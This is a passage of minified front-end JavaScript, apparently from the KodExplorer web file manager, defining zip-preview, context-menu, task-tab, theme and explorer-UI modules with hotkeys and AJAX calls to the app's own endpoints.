a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=n(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),a(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),u(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var n="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(n="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(n=G.app_host+"index.php?"+n,$.ajax({url:n,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=n):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",n=".menuTreeRoot",a=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"<b>Ctrl+F</b>",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('<i class="'+e.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":n.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quit_dialog":n.close();break;case"hide_dialog":n.display(!1);break;case"refresh":n.refresh();break;case"open_window":n.open_window();break;case"qrcode":core.qrcode(n.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="disabled",t=$(".context-menu-list").filter(":visible"),i=$(".context-menu-active");if(0!=t.length&&0!=i.length){if(i.hasClass("dialog_menu")){var n=i.attr("id"),a=$.dialog.list[n];a.has_frame()?(t.find(".open_window").show(),t.find(".refresh").show()):(t.find(".open_window").hide(),t.find(".refresh").hide())}if(i.hasClass("menufile")){var o=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==o?t.find(".unzip").show():t.find(".unzip").hide(),"html"==o||"htm"==o||"oexe"==o?t.find(".open_text").show():t.find(".open_text").hide()}if(i.hasClass("menuMore")){var s=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(s+=1)}),0==s?t.find(".playmedia").hide():t.find(".playmedia").show()}(i.hasClass("menuZipListFolder")||i.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(e):t.find(".unzip_this").addClass(e),G.sid&&t.find(".unzip_to").addClass(e))}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/common/taskTap",[],function(){var e={},t="",i=160,n=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},a=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var n=$("."+t);"hidden"==n.css("visibility")?i.display(!0).zIndex():n.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,n,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&a(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),n=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var a=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),n.css({width:d+"px",top:a,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var a=i.clientX-l+c;f>a||a>f+u-d||(n.css("left",a),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(a>t&&t+d/2+p>a){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(a>t-d/2+p&&t>a){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(n,a){if(!e.is(":animated")||o!=n){o=n,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+n),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==a?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=n&&(c=e.get(0).getBoundingClientRect().left,n.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,n=t,a=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/a);switch(r>l&&(n=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:n+"px"},i);case"close":o.animate({width:n+"px"},i);break;case"resize":o.css("width",n+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var n=i.replace(/<[^>]+>/g,""),a='<div class="tab taskBarMenu" id="'+t+'" title="'+n+'">'+i+"</div>";$(a).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"dialog_quite":n.close();break;case"dialog_min":n._clickMin(!1);break;case"dialog_max":n._clickMax();break;case"refresh":n.refresh();break;case"open_window":n.open_window();break;case"qrcode":core.qrcode(n.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":n.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),n(),d(),p(),u(),o()}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=t?(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")):t=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",n=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(a){var o=String.fromCharCode(a.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},n),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(n>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},n)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var i=["ctrl+c","command+c"];switch(inArray(i,t)||stopPP(e),t){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",n=t.substr(t.search(i)+i.length),a=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+n;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},n=i(t),o=i($("#PV_Picture").attr("src"));a.attr("src",n),a.attr("data-original",n),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),n=i-30,a=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(i+a)),l=0,c=0,d=0,p=0,u=(s-e-r*(i+a)-a)/r;u>0&&(a+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(n+o)*c,p=e+(i+a)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return 